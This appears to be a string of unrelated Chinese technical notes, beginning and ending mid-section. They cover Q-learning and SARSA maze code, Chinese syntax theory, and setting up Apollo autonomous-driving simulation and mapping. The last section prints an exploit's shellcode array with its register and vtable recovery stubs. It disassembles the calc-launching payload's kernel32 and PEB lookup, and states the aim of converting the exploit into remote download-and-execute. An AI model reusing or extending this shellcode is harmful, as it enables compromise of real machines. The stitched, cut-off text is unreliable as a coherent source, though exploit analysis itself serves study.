确保next_states在Q表中            q_target = r + self.gamma * self.q_table.iloc[s__idx, :].max()        else:            q_target = r        self.q_table.loc[s, a] += self.lr * (q_target - q_predict)  # 更新q-table

更新后的train，实时保存最优解

def train(maze):    q_learning = QLearning(ACTIONS, learning_rate=ALPHA, reward_decay=LAMBDA, epsilon=EPSILON)    for episode in range(STEP):        step_counter = 0        S = maze.start_local        maze.update_env(maze, S, episode=episode, step_counter=step_counter)        while True:            S_INDEX = maze.state_to_index(S)            A = q_learning.choose_action(S_INDEX)            observation_, reward = maze.get_env_feedback(S, A)            q_learning.learn(S_INDEX, A, reward, observation_)            S = observation_            step_counter += 1            maze.update_env(maze, S, episode=episode, step_counter=step_counter)            if reward == 1:                break        q_learning.save_q_table(step_counter)    print("beat steps: {}".format(q_learning.min_steps))    return q_learning.best_q_table

Sarsa

原理

参考视频：https://www.bilibili.com/video/BV13W411Y75P

与Q-Learning不同，SARSA 是一个在线策略（on-policy）学习算法。这意味着它在更新值函数时考虑了当前策略下智能体实际会执行的动作。

算法特点

在线策略（On-policy）：SARSA评估和改进的是同一策略，即智能体在学习时实际遵循的策略。

探索与利用：通过 ε-贪婪策略或其他策略可以平衡探索（exploration）新状态-动作对和利用（exploitation）已知的最佳状态-动作对。

收敛性：在适当的条件下（如足够长时间的训练和适当的衰减学习率），SARSA算法可以收敛到最优策略。

与Q-Learning主要区别

• 策略类型：Q-Learning 是离线策略，意味着它在学习最优策略时无需遵循该策略。相反，SARSA 是在线策略，它必须遵循当前的策略进行学习。
• 风险态度：由于 Q-Learning 考虑的是最优动作，它可能会表现得更加积极（风险偏好）。而SARSA将会考虑当前的探索水平，因此它在更新过程中可能更加保守（风险规避）。
• 收敛性：两者都可以在适当的条件下收敛到最优策略。然而，在含有随机因素或是动作选择有噪声的情况下，由于SARSA较为保守，它通常会更稳健一些。

迷宫实例

Environment

与Q-learning完全一致

Agent

基本与Q-learning一致，只有learn函数需要修改为sarsa算法

class Sarsa:    def __init__(self, actions: list[str], learning_rate=0.1, reward_decay=0.9, epsilon=0.1):        self.actions = actions  # 动作空间        self.lr = learning_rate  # 学习率        self.gamma = reward_decay  # 奖励衰减        self.epsilon = epsilon  # 探索概率        self.q_table = pd.DataFrame(columns=self.actions, dtype=np.float64)  # 初始化空的Q表        self.min_steps = float('inf')  # 初始化最少步数为无穷大        self.best_q_table = None  # 存储步数最少时的Q表    def check_state_exist(self, state):        # 检查并添加状态到Q表，包括之前的所有未添加的状态        if state not in self.q_table.index:            # 假设状态是整数且连续，我们需要填补所有缺失的状态，直至当前状态            missing_states = [s for s in                              range(min(self.q_table.index.astype(int).min(), state) if not self.q_table.empty else 0,                                    state + 1) if s not in self.q_table.index]            for s in missing_states:                # 添加缺失的状态到Q表                self.q_table = self.q_table._append(                    pd.Series(                        [0] * len(self.actions),                        index=self.q_table.columns,                        name=s,                    )                )    def choose_action(self, state):        self.check_state_exist(state)  # 确保状态在Q表中        # 根据当前状态来选择动作        state_actions: np.ndarray = self.q_table.iloc[state, :]        if np.random.uniform() < self.epsilon or state_actions.all() == 0:            # 探索：以ε的概率执行随机动作            action = np.random.choice(self.actions)        else:            # 利用：以1 - ε的概率执行当前最优动作（贪婪选择）            shuffled_actions = state_actions.sample(frac=1)  # 使用sample与frac=1来随机打乱            action = shuffled_actions.idxmax()        return action    def save_q_table(self, steps):        if steps < self.min_steps:            self.min_steps = steps            self.best_q_table = self.q_table.copy(deep=True)  # 更新最佳Q表副本            date_suffix = datetime.now().strftime("%Y-%m-%d")            filename = f"sarsa_q_table_{date_suffix}.npy"            np.save(filename, self.best_q_table)            print(f"Q-table saved to {filename}")    def learn(self, s, a, r, next_s, next_action):        self.check_state_exist(next_s)  # 确保next_states在Q表中        # 学习过程，根据q-learning公式更新Q表        q_predict = self.q_table.loc[s, a]        if r != 1:            q_target = r + self.gamma * self.q_table.loc[next_s, next_action]  # 只对next action进行计算        else:            q_target = r        self.q_table.loc[s, a] += self.lr * (q_target - q_predict)  # 更新q-table

Train

需要将action计算放在初始轮中，并且迭代。

def train(maze):    sarsa = Sarsa(ACTIONS, learning_rate=ALPHA, reward_decay=LAMBDA, epsilon=EPSILON)    for episode in range(STEP):        step_counter = 0        S = maze.start_local        S_INDEX = maze.state_to_index(S)        A = sarsa.choose_action(S_INDEX)        maze.update_env(maze, S, episode=episode, step_counter=step_counter)        while True:            observation_, reward = maze.get_env_feedback(S, A)            next_s_idx = maze.state_to_index(observation_)            next_action = sarsa.choose_action(next_s_idx)            sarsa.learn(S_INDEX, A, reward, next_s_idx, next_action)            S = observation_            A = next_action            step_counter += 1            maze.update_env(maze, S, episode=episode, step_counter=step_counter)            if reward == 1:                break        sarsa.save_q_table(step_counter)    print("beat steps: {}".format(sarsa.min_steps))    return sarsa.best_q_table

训练结果截图(注意 由于保守的策略，需要更多轮训练才会得到最优的结果)：

Evaluate

与q-learning完全一致

完整代码

import randomimport threadingimport timefrom datetime import datetimeimport pandas as pdimport numpy as npfrom MazeGen import MazeGUI, MazeACTIONS = ['LEFT', 'RIGHT', 'UP', 'DOWN']EPSILON = 0.2  # 策略选择ALPHA = 0.1  # learning rateLAMBDA = 0.9  # 衰减值： 0完全不看未来的结果，1考虑未来的每一个结果STEP = 100  # 训练轮数FRESH_TIME = 0.3  # 每一步骤停顿时间random.seed(13)class Sarsa:    def __init__(self, actions: list[str], learning_rate=0.1, reward_decay=0.9, epsilon=0.1):        self.actions = actions  # 动作空间        self.lr = learning_rate  # 学习率        self.gamma = reward_decay  # 奖励衰减        self.epsilon = epsilon  # 探索概率        self.q_table = pd.DataFrame(columns=self.actions, dtype=np.float64)  # 初始化空的Q表        self.min_steps = float('inf')  # 初始化最少步数为无穷大        self.best_q_table = None  # 存储步数最少时的Q表    def check_state_exist(self, state):        # 检查并添加状态到Q表，包括之前的所有未添加的状态        if state not in self.q_table.index:            # 假设状态是整数且连续，我们需要填补所有缺失的状态，直至当前状态            missing_states = [s for s in                              range(min(self.q_table.index.astype(int).min(), state) if not self.q_table.empty else 0,                                    state + 1) if s not in self.q_table.index]            for s in missing_states:                # 添加缺失的状态到Q表                self.q_table = self.q_table._append(                    pd.Series(                        [0] * len(self.actions),                        index=self.q_table.columns,                        name=s,                    )                )    def choose_action(self, state):        self.check_state_exist(state)  # 确保状态在Q表中        # 根据当前状态来选择动作        state_actions: np.ndarray = self.q_table.iloc[state, :]        if np.random.uniform() < self.epsilon or state_actions.all() == 0:            # 探索：以ε的概率执行随机动作            action = np.random.choice(self.actions)        else:            # 利用：以1 - ε的概率执行当前最优动作（贪婪选择）            shuffled_actions = state_actions.sample(frac=1)  # 使用sample与frac=1来随机打乱            action = shuffled_actions.idxmax()        return action    def save_q_table(self, steps):        if steps < self.min_steps:            self.min_steps = steps            self.best_q_table = self.q_table.copy(deep=True)  # 更新最佳Q表副本            date_suffix = datetime.now().strftime("%Y-%m-%d")            filename = f"sarsa_q_table_{date_suffix}.npy"            np.save(filename, self.best_q_table)            print(f"Q-table saved to {filename}")    def learn(self, s, a, r, next_s, next_action):        self.check_state_exist(next_s)  # 确保next_states在Q表中        # 学习过程，根据q-learning公式更新Q表        q_predict = self.q_table.loc[s, a]        if r != 1:            q_target = r + self.gamma * self.q_table.loc[next_s, next_action]  # 只对next action进行计算        else:            q_target = r        self.q_table.loc[s, a] += self.lr * (q_target - q_predict)  # 更新q-tabledef train(maze):    sarsa = Sarsa(ACTIONS, learning_rate=ALPHA, reward_decay=LAMBDA, epsilon=EPSILON)    for episode in range(STEP):        step_counter = 0        S = maze.start_local        S_INDEX = maze.state_to_index(S)        A = sarsa.choose_action(S_INDEX)        maze.update_env(maze, S, episode=episode, step_counter=step_counter)        while True:            observation_, reward = maze.get_env_feedback(S, A)            next_s_idx = maze.state_to_index(observation_)            next_action = sarsa.choose_action(next_s_idx)            sarsa.learn(S_INDEX, A, reward, next_s_idx, next_action)            S = observation_            A = next_action            step_counter += 1            maze.update_env(maze, S, episode=episode, step_counter=step_counter)            if reward == 1:                break        sarsa.save_q_table(step_counter)    print("beat steps: {}".format(sarsa.min_steps))    return sarsa.best_q_tabledef eval(q_table, maze_gui):    S = maze_gui.maze.start_local    is_final = False    maze_gui.reset()  # 重置迷宫到初始状态，并在GUI中更新    while not is_final:        S_INDEX = maze_gui.maze.state_to_index(S)        # 总是选择最佳动作        A = q_table.iloc[S_INDEX, :].idxmax()        observation_, reward = maze_gui.maze.get_env_feedback(S, A)        # 对 GUI 做出更新        maze_gui.gui_queue.put(observation_)        # 延迟一小段时间，以便观察到玩家移动        time.sleep(0.3)        S = observation_  # 更新当前状态        # 终点检测        if reward == 1:            is_final = True    print("Evaluation complete.")if __name__ == '__main__':    maze = Maze.load('my_maze.txt')    q_table = train(maze)    print(q_table)    maze_gui = MazeGUI(maze)    threading.Thread(target=lambda: eval(q_table, maze_gui)).start()    maze_gui.root.mainloop()

部分笔记

IP

句子的中心词时I（inflection 曲折）

S = IP

inflection：性、数、时、体

论元结构分析

游泳 v1 -> 一 价元 动词 -> NP +v1 (v1 的配价论元结构)

参观 v2 -> 二 价元 动词 -> NP1 + V2 + NP2 (v2的配价论元结构)

给/送 v3 -> 三 价元 动词 -> NP1 + V3 + NP2 +NP3 （v3的配价论元结构）

空范畴理论

空范畴定义

例子：

张三打算游泳

张三 + 打算 = NP + V1

张三 + 游泳 = NP +V1

但是在句子中游泳前面的论元（NP）并没有出现，这种类型叫做空范畴

句式分析结果:

(TOP (IP (NP (NR 张三)) (VP (VV 打算) (IP (VP (VV 游泳))))))

三类空范畴（空语类）

1. 由于移位造成的空范畴，用t（trace）表示

​参观 V2: NP1 + V2 +NP2

​北京大学我们参观过了 -> 参观=V2，我们=NP1，北京大学=NP2，但是在句子中参观后并没有出现NP2，这种情况就是由于位移造成的空范畴

句式分析结果:

(TOP  (IP (NP (NR 北京) (NN 大学)) (NP (PN 我们)) (VP (VV 参观) (AS 过)) (SP 了)))

2. 由于隐含造成的空范畴，用PRO（prod）表示

   张三打算游泳 -> 打算=V1，NP1 =张三，游泳=V1 ，在句子中 游泳需要一个论元，构成张三游泳，但实际上这个论元隐含了。

3. 由于省略造成的空范畴，用pro 表示

   给 V3：NP1 + V3 +NP2 + NP3

   张三买了3斤苹果， 给了他弟弟3个苹果 -> 给 V3 ，他弟弟=NP2，3个苹果 = NP3，缺少NP1=他（张三）

轻动词分词理论

双宾结构：（NP1）+ V3 + NP2 + NP3

例子： 我弟弟已经交老师一份作业

句式分析结果：

(TOP  (IP    (NP (NP (PN 我)) (NP (NN 弟弟)))    (VP      (ADVP (AD 已经))      (VP        (VV 交)        (NP (NN 老师))        (NP (QP (CD 一) (CLP (M 份))) (NP (NN 作业)))))))

空壳动词理论（verb shell）： 给他一本书 = VP，存在一个VP[ +VP]，最外层的VP是个空的

对致使结构的解释

1. 用词汇手段解释 “使”、“让”

2. 用句法手段解释

   那黑影下了我一跳 -> 那黑影 V’[致使] 我下了一跳 -附着> 那黑影 V’[使]下了我一跳

对存现句（施事宾语）的解释

台上坐着主席团 -> 台上V’[存在] 主席团坐着 -附着> 台上 V’[存在]坐着主席团

前面来了老太太 -> 前面V’[存在]老太太来了 -附着> 前面V’[存在]>来了老太太

村里死了一头牛 -> 村里V’[存在] 一头牛死了 -附着> 村里V’[存在]死了 一头牛

非受事宾语的解释

吃大碗：代替性宾语 ->吃大碗的食物

句式分析结果：

(TOP (IP (VP (VV 吃) (NP (NN 大碗)))))

分类

1. 施事宾语（参考存现句）
2. 工具宾语

吃大碗 -> 我 V’[使用]大碗吃 -附着> V’[使用]吃大碗

切那把刀 -> 我 V’[使用]那把刀切 -附着> V’[使用]切那把刀

3. 致使宾语（参考致使结构解释）

4. 方式宾语

   我存活期 -> 我V’[用]活期存 -附着> 我V’[用]存活期

   他唱C调 -> 他V’[用]C调唱 -附着> 他V’[用]唱C调

5. 目的宾语

   打扫卫生 -> 主语 + V[为了] +卫生打扫 -附着> V[为了]打扫卫生

   排电影票 ->主语 + V[为了] +电影票排 -附着> V[为了] 拍电影票

   跑材料 ->主语 + V[为了] + 材料跑 -附着> V[为了]跑材料

中心词理论

标杠理论

举例争论：

春天的到来 N的V

狐狸的狡猾 N的V

中心词特点：可以渗透给由他组合的上一层结构，任何一个结构都有中心词

中心词概念：XY的性质如果由X的作用造成的，那么X就是XY的中心。如果XY的性质是由Y的作用造成的，那么Y就是XY的中心。

句法结构（布拉菲尔德Language提出）：

1. 向心结构：

   如果XY=X 例如 吃苹果=吃

   或者 XY=Y 例如 干净衣服 = 衣服

   或者 XY=x or y 例如 哥哥弟弟 = 哥哥 or 弟弟

   称为向心结构

2. 离心结构：

   如果 XY != X and XY !=Y 这种结构为离心结构

   例如 介词结构：把书 != 把、把书 !=书

   ​ 的字结构：吃的 != 吃、吃的 != 的

中心词比对

使用中心词理论对N的V句式分析

春天的到来

这本书的出版

狐狸的狡猾

中心词的是名词成分，造成名词性成分。

的在中间的根据：

1. 从理论上来说，符合插入性扩展的理论

2. 有先例：他说写

3. 在先前语法论著中，将“春天的到来”这类结构归入主谓短语

的字跟一个主谓结构，可以造成两种类型的主谓结构

1. （主语+谓语 ）+ 的 （称为甲类）

   妈妈做的衣服 -> 妈妈做的

   张三写的文章 -> 张三写的

2. 主语 + 的 + 谓语（称为乙类）

   春天的到来

   狐狸的狡猾

语义表达类型

1. 转指：指称和行为动作相关的事物 Read -> Reader，转指读书相关的人
2. 自指：指相关行为或事物本身

相关课程链接

北京大学公开课-现代汉语语法研究

按照apollo.baidu.com中的教程进行创建

git clone https://github.com/ApolloAuto/apollo.gitbashdocker/scripts/dev_start.sh

进入到环境中

bash docker/scripts/dev_into.sh

编译apollo源码

bash apollo.sh build

提示下列信息则代表成功编译

基础使用

所有功能都必须保证在apollo的容器中执行

 cd /data/Project/apollo/ bash docker/scripts/dev_start.sh bash docker/scripts/dev_into.sh

Dreamview

启动命令

 bash scripts/bootstrap.sh

显示下方图片信息则代表成功启动

使用Tabby将远程8888代理到本地

点击端口->本地->将0.0.0.0:8888 代理到本机的127.0.0.1:8888

通过浏览器进入Dreamview

cyber_recorder

使用官方demo数据包

wget https://apollo-system.cdn.bcebos.com/dataset/6.0_edu/demo_3.5.record

数据包信息（Topic）查看

cyber_recorder info demo_3.5.record

数据包播放

循环播放命令-l

cyber_recorder play -f demo_3.5.record -l

此时可以在view中查看实时视图

Topic记录(record)

record分离(split)

record恢复

cyber_monitor

监控仿真中的Topic流信息，按➡️键查看Topic详细信息，按FN+⬆️或者FN+⬇️键翻页

详细信息

cyber_channel

使用Sim control仿真自动驾驶

1. 在右上角选择仿真车辆为Mikz Example，高精地图为San Mateo
2. 打开左下角的Sim Control 开关

1. 在左侧菜单中选择Module Controller，打开Planning和Routing，打开后会看到在车身位置生成了一个规划障碍墙（如果未显示则代表开启失败，需要重新开启）

1. 在左侧菜单中选择Route Editing，接着在地图中点击鼠标左键添加起点与终点，同样可以添加途径点
2. 添加完毕后 点击上方菜单 Send Routing Request

1. 点击send后后跳转到首页视图，此时后显示红色线（route搜索路径）、蓝色线（Planning规划路径）

定速巡航场景仿真调试

1. 修改配置文件

cd /apollo/modules/planning/conf/vim planning.conf--planning_upper_speed_limit=80.00

1. 修改下方两个参数更改定速巡航的最高限速和加速度m/s

1. 尝试修改成最高限速80、加速度22.22m/s(80km/h)

1. 保存文件后，在Module Controller中关闭并再次打开Planning

5.选择新的规划路线，并Send，发现最高限速没超过40km/h

NDT高精地图制作

主要使用：https://github.com/daohu527/ndt_mapping

1. 下载样例数据并解压

wget https://apollo-system.cdn.bcebos.com/dataset/6.0_edu/demo_sensor_data_for_vision.tar.xztar -xvf demo_sensor_data_for_vision.tar.xz

1. 查看demo中的topic信息，找到点云topic名称

cyber_recorder info demo_sensor_data_for_vision.record

1. 编译localization模块

./apollo.sh build localization

1. 提取点云数据

激光雷达点云信息与车辆姿态信息(注意cloud_topic参数名称为数据包中的名称)

./bazel-bin/modules/localization/msf/local_tool/data_extraction/cyber_record_parser --bag_file=./demo_sensor_data_for_vision.record  --out_folder=data --cloud_topic=/apollo/sensor/velodyne64/compensator/PointCloud2

提取后的目录信息

1. 根据激光雷达的外部参数和时间戳对姿态进行插值。校正后的姿势保存在 -output_poses_path 中

./bazel-bin/modules/localization/msf/local_tool/map_creation/poses_interpolator --input_poses_path=data/pcd/odometry_loc.txt --ref_timestamps_path=data/pcd/pcd_timestamp.txt --extrinsic_path=modules/localization/msf/params/velodyne_params/velodyne64_novatel_extrinsics_example.yaml --output_poses_path=data/pcd/poses.txt

1. 下载并编译ndt-mapping工具

sudo apt updatesudo apt install libgflags-dev libpcl-dev libeigen3-devsudo ln -s /usr/include/pcl-1.8/pcl /usr/include/pclsudo ln -s /usr/include/eigen3/Eigen /usr/include/Eigensudo ln -s /usr/include/eigen3/unsupported /usr/include/unsupportedgit clone https://github.com/daohu527/ndt_mapping.gitcd ndt_mappingbazel build src/ndt_mapping

1. 使用ndt-mapping工具生成融合PCD地图

cd /apollo/./ndt_mapping/bazel-bin/src/ndt_mapping

融合完成后会生成./data/output.pcd

可以使用软件查看该文件（ CloudCompare）

1. 构建地图

最终会保存在/apollo/data/ndt_map/output_pcd/中(手动创建创建)

cd /apollo/datamkdir ndt_mapmkdir output_pcd./bazel-bin/modules/localization/ndt/map_creation/ndt_map_creator --pcd_folders=/apollo/data/pcd --pose_files=/apollo/data/pcd/poses.txt --resolution_type=single --resolution=1 --zone_id=10 --map_folder=/apollo/data/ndt_map/output_pcd/

生成完毕后查看目录

NDT融合定位

NDT（先验地图）模块介绍

1. 修改数据配置信息中的地图路径为刚才生成的路径

vim /apollo/modules/common/data/global_flagfile.txt

改为：/apollo/data/

1. 设置地图的UTM zone id，修改激光雷达的外参文件和topic，要与数据包中实际发布的一致。同时还需要修改local_map的名称为output_pcd

vim /apollo/modules/localization/conf/localization.conf

接着修改zone_id与topic信息

1. 启动NDT模块

cyber_launch start /apollo/modules/localization/launch/ndt_localization.launch

1. 新起一个bash，播放数据包中指定的Topic

cyber_recorder play -f demo_sensor_data_for_vision.record -c /apollo/sensor/gnss/odometry  /apollo/sensor/velodyne64/compensator/PointCloud2  /apollo/sensor/gnss/ins_stat -l

1. 使用cyber_monitor查看结果

输入数据：

/apollo/sensor/gnss/odometry #里程计数据

/apollo/sensor/velodyne64/compensator/PointCloud2 # lidar数据

/apollo/sensor/gnss/ins_stat # ins_stat 数据

输出数据：

/apollo/localization/pose

/apollo/localization/ndt_lidar

/apollo/localization/msf_status

查看msf融合结果的状态 Error代表点云数据状态错误，导致定位信息不正确

最后：

如果要启动dreamView请恢复之前修改的配置信息

Lgsvl仿真环境下制作高精地图

1. Lgsvl下载

wget https://github.com/lgsvl/simulator/releases/download/2021.3/svlsimulator-linux64-2021.3.zipunzip svlsimulator-linux64-2021.3.zipcd svlsimulator-linux64-2021.3./simulator

1. SLV本地云环境搭建

git clone https://github.com/YuqiHuai/SORA-SVL

1. 下载地图资源文件并导入云

https://drive.google.com/drive/folders/1bv02d29z4lSB9SWzCBTUt0GjAb876oSR?usp=sharing

下载总是失败，暂时不继续搭建

Carla仿真环境下制作高精地图

1. 下载并启动Carla

https://carla.readthedocs.io/en/latest/build_linux/

https://www.cnblogs.com/ppqppl/articles/17087930.html

或者使用docker

git clone git@github.com:guardstrikelab/carla_apollo_bridge.gitcd carla_apollo_bridge/carla_scripts/./docker_run_carla.sh

1. 配置carla_bridge

cd carla_apollo_bridge/docker cpcarla_bridge apollo_dev_lixiang:/apollo/modules/carla_bridge

1. 在apollo容器中配置

cd /apollo/modules/carla_bridgechmod +x install.sh./install.shsource ~/.bashrcpython -m pip install carla

1. 修改mkz_standard_debug.pb.txt中的localization从msf改为rtk模式

vim modules/dreamview/conf/hmi_modes/mkz_standard_debug.pb.txt

1. 重编译apollo

./scripts/bootstrap.sh stop./apollo.sh build_gpu

1. 重启Dreamview，同时确保/apollo/modules/map/data 路径下存在carla的地图信息

./scripts/bootstrap.sh stop./scripts/bootstrap.sh start

确保地图存在过程：

1. 启动

python main.py

1. 选择地图为Carla Town01，并且点击Setup（点击后会启动planning等其他模块）

https://li.feishu.cn/space/api/box/stream/download/asynccode/?code=MDA0OGI3YWY0ZWRhNDU1YjliNjgwYmM2M2YxMzcxNDNfSDgzNWl1WWs2UVZHQ09UdTl4aDN2RWp3NURXcFVJZlNfVG9rZW46RFI4d2JGWVpEb1VuUTh4Z0JBVGNnTlFtbnJiXzE3MDQzNjEzODg6MTcwNDM2NDk4OF9WNA

1. 在Tasks->Others中打开Camera Sensor，并且在右侧视图中选择摄像头信息即可查看实时画面，
2. 在Module Controller中开启Routing、Planning、Control（如果控制不好使，可以多次打开Control）

1. 打开激光雷达视图，打开后会在车身可视化雷达点云数据

1. 运行录制命令

cyber_recorder record -a -o map_gen_test.record

1. 在Route Editing中选择需要跑的路段，并发送信息（此处存在问题：选择起点时，需要Route图中车辆后方，实际这里是车辆前方）

1. 接着路径规划完毕后会同步apollo的车辆行驶信息和carla中

1. 等待车辆行驶完毕后，ctr-c关闭录制，并提取数据中的路径信息

/apollo/bazel-bin/modules/tools/map_gen/extract_path test.csv map_gen_test.record.00000 map_gen_test.record.00001 map_gen_test.record.00002 map_gen_test.record.00003

1. 生成 base_map

./bazel-bin/modules/tools/map_gen/map_gen test.csv

生成后会得到一个map_test.csv.txt文件

1. 创建地图文件夹，并将base_map文件复制进去

mkdir modules/map/data/test_mapcp map_test.csv.txt modules/map/data/test_map/base_map.txt

1. 高精地图生成

./bazel-bin/modules/map/tools/sim_map_generator --map_dir=modules/map/data/test_map/ --output_dir=modules/map/data/test_map/

此时后生成sim_map.bin和sim_map.txt

./scripts/generate_routing_topo_graph.sh --map_dir modules/map/data/test_map

执行后生成routing_map.bin和routing_map.txt

至此高精地图生成完毕

1. 配置并加载高精地图

vim /apollo/modules/common/data/global_flagfile.txt./scripts/bootstrap.sh stop./scripts/bootstrap.sh start

添加一个map_dir为test_map

重启dreamview

发现列表中已经有了我们的test_map了

1. 启动sim control，并在route中对比生成的地图

生成后的地图：

生成前的地图（红线部分！）：

目的

为了改造该 exp 为远程命令执行，还需要对 shellcode 进行修改

前置知识

PEB

内容引用自 x32 PEB: 获取 Kernel32 基地址的原理及实现 - 先知社区

TEB（Thread Environment Block，线程环境块）系统在此 TEB 中保存频繁使用的线程相关的数据。位于用户地址空间，在比 PEB 所在地址低的地方。用户模式下，当前线程的 TEB 位于独立的 4KB 段(页)，可通过 CPU 的 FS 寄存器来访问该段，一般存储在[FS:0]

PEB（Process Environment Block，进程环境块）存放进程信息，每个进程都有自己的 PEB 信息。位于用户地址空间。可在 TEB 结构地址偏移 0x30 处获得 PEB 的地址位置。

typedef struct _PEB {  BYTE                          Reserved1[2];  BYTE                          BeingDebugged;  BYTE                          Reserved2[1];  PVOID                         Reserved3[2];  PPEB_LDR_DATA                 Ldr;  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;  PVOID                         Reserved4[3];  PVOID                         AtlThunkSListPtr;  PVOID                         Reserved5;  ULONG                         Reserved6;  PVOID                         Reserved7;  ULONG                         Reserved8;  ULONG                         AtlThunkSListPtr32;  PVOID                         Reserved9[45];  BYTE                          Reserved10[96];  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;  BYTE                          Reserved11[128];  PVOID                         Reserved12[1];  ULONG                         SessionId;} PEB, *PPEB;

具体分析

var shellcode = [    // recovery prefix       (store reg context)    // 0x909090CC,    0x89e083e8, 0x18535256, 0x57505590,    // shellcode    835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443,    1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071,    469892611, 1018101719, 2425393296,    // recovery suffix    // 0x909090CC,    /*restore regs*/ 0x58585d58, /*restore vtable*/ 0x8b48608b, 0x50648911, /*pop regs*/ 0x5f5e5a5b,    /*restore ebp,esp: 0x89ea83ea, 0x3089d490, */ 0x89ec83ec, 0x30909090, /* esi = fn*/ 0x8b706890,    /*arrbuf restore*/ 0x53bb4000, 0x00208b50, 0x6cc7430c, 0xe8ff0000, 0xc74220e8, 0xff000090,    0x8953108b, 0x50708913, 0x8b507489, 0x530431d2, 0x5b909090, /*jmp esi*/ 0xffe69090    /*jmp defaultVal 0xff606890*/];

通过验证可以得知该 shellcode 的作用是弹出计算机，但我们的最终目的是为了远程下载并执行文件。

shellcode 部分

835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443,    1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071,    469892611, 1018101719, 2425393296

都是 10 进制字符串，尝试简单转 16 进制看看

shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443,    1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071,    469892611, 1018101719, 2425393296]for shell_bytes in shellcode:    print(hex(shell_bytes))

执行结果，所以先转 16 进制没问题

0x31d252680x63616c63 # calc 的ascii0x545952510x648b72300x8b760c8b0x760cad8b0x308b7e180x8b5f3c8b0x5c1f788b0x741f20010xfe8b541f0x240fb72c0x174242ad0x813c07570x696e45750xf08b741f0x1c01fe030x3caeffd70x90909090 # nop

其中最后一行的 0x90909090 特征比较明显，是 x86 汇编中的 nop，主要作用是对齐栈。

第二步，将片段 16 进制代码转汇编

获取 kernel32.dll 基地址

此段 shellcode 主要用于获取 kernel32.dll 的基地址，该部分的理解参考了该文章：x32 PEB: 获取 Kernel32 基地址的原理及实现 - 先知社区。

1. 0x31d25268

Array Literal:{ 0x31, 0xD2, 0x52, 0x68 }Disassembly:0:  31 d2                   xor    edx,edx2:  52                      push   edx3:  68                      .byte 0x68

2. 0x63616c63

由于第一段多了个 68，所以补在这一段

将 calc 字符串压栈

Array Literal:{ 0x68, 0x63, 0x61, 0x6C, 0x63 }Disassembly:0:  68 63 61 6c 63          push   0x636c6163 # 存字符串

3. 0x54595251

Array Literal:{ 0x54, 0x59, 0x52, 0x51 }Disassembly:0:  54                      push   esp #压入字符串所在地址1:  59                      pop    ecx # 将字符串所在地址复制给ecx2:  52                      push   edx # 压入edx3:  51                      push   ecx #压入ecx

执行到 pop ecx 时的内存情况，ecx 指向 calc 的所在地址

4. 0x648b7230

Array Literal:{ 0x64, 0x8B, 0x72, 0x30 }Disassembly:0:  64 8b 72 30             mov    esi,DWORD PTR fs:[edx+0x30]

edx 此时为 0 ，获取 fs 段 +0x30 处地址放入 esi，下图为执行后的 ESI 结果 FF4F4000

在 TEB 结构地址偏移 0x30 处获得 PEB 的地址位置

5. 0x8b760c8b

Array Literal:{ 0x8B, 0x76, 0x0C, 0x8B }Disassembly:0:  8b 76 0c                mov    esi,DWORD PTR [esi+0xc]3:  8b                      .byte 0x8b

多出的 8b 放入下一层反编译

执行该条命令前 esi 指向 fs+0x30 处，接着再将 esi+0xc 取值到 esi ,从下图可以看到此时 esi 变成了 ntdll 所在地址，

本次操作主要目的为获取指向 PEB->PEB_LDR_DATA 的指针

6. 0x760cad8b

Array Literal:{ 0x8B, 0x76, 0x0C, 0xAD, 0x8B }Disassembly:0:  8b 76 0c                mov    esi,DWORD PTR [esi+0xc]3:  ad                      lods   eax,DWORD PTR ds:[esi]4:  8b                      .byte 0x8b

反汇编时要拼接上一轮没有被反编译的 0xb8，看到是再次对 esi+0xc 并取该处的值 得到一个程序内的地址，该地址指向 PEB->PEB_LDR_DATA->InLoadOrderModuleList 的 Flink 字段

图片引用自 https://xz.aliyun.com/t/10478

lodsd 后 指向 Flink 从第 0 个改为指向第 3 个

查看该地址处 0x52326F8 反汇编代码，

7. 0x308b7e18

Array Literal:{ 0x8B, 0x30, 0x8B, 0x7E, 0x18 }Disassembly:0:  8b 30                   mov    esi,DWORD PTR [eax]2:  8b 7e 18                mov    edi,DWORD PTR [esi+0x18]

同上一轮，拼接剩下的 0x8b，并反汇编，在执行该地址前，执行了一次 lodsd

发现 EAX 的值改为了 0x5232618 ，也就是此时取地址内容的真实地址是 0x5232618 而不是 0x20000358

执行后 esi 指向 0x52328d8,此时 ESI 所在结构为 PEB_LDR_DATA->InLoadOrderModuleList[2] ,查看此处反汇编及内存中内容 ，通过先知文章可以知道此时的结构信息，esi 指向 INLoadOrderLinks 的地址，距离我们的 DLLBase 还差 0x18

继续运行

接着下一次执行复制到 edi，地址从当前的 esi+0x18 处获取内容，如下图，地址内容为 77260000 ,该内容为地址，指向 kernel32.dll，也就是获取到了 DLLBASE 地址。后续均称为 kernel_addr。

动态获得函数地址

该部分后续 shellcode 主要用来定位具体的某个函数，通过 kernel_addr + 搜索偏移 得到具体的函数地址。该部分主要参考 wizardforcel.gitbooks.io

8. 0x8b5f3c8b

Array Literal:{ 0x8B, 0x5F, 0x3C, 0x8B }Disassembly:0:  8b 5f 3c                mov    ebx,DWORD PTR [edi+0x3c]3:  8b                      .byte 0x8b

此部分主要用于获取 PE 头部偏移，对 ebx 赋值 edi+0x3c，注意此时 edi 指向 kernel32.dll 基地址，也就是获取 kernel_addr+0x3c 处的内容，得到 EBX=0xF8,所以 PE_HEADER_OFFSET = 0xF8。

PE 头部偏移在 kerner32.dll 基址 ＋0x3C 的地方。

9. 0x5c1f788b

Array Literal:{ 0x8B, 0x5C, 0x1F, 0x78, 0x8B }Disassembly:0:  8b 5c 1f 78             mov    ebx,DWORD PTR [edi+ebx*1+0x78]4:  8b                      .byte 0x8b

输出表的位置在 kerner32.dll 基地址 +PE 头部地址 +0x78，所以此处 ebx 的内容是输出表的地址。

输出表结构如下，对于我们的目的是为了找函数，则可以通过匹配函数名字然后确定函数地址。

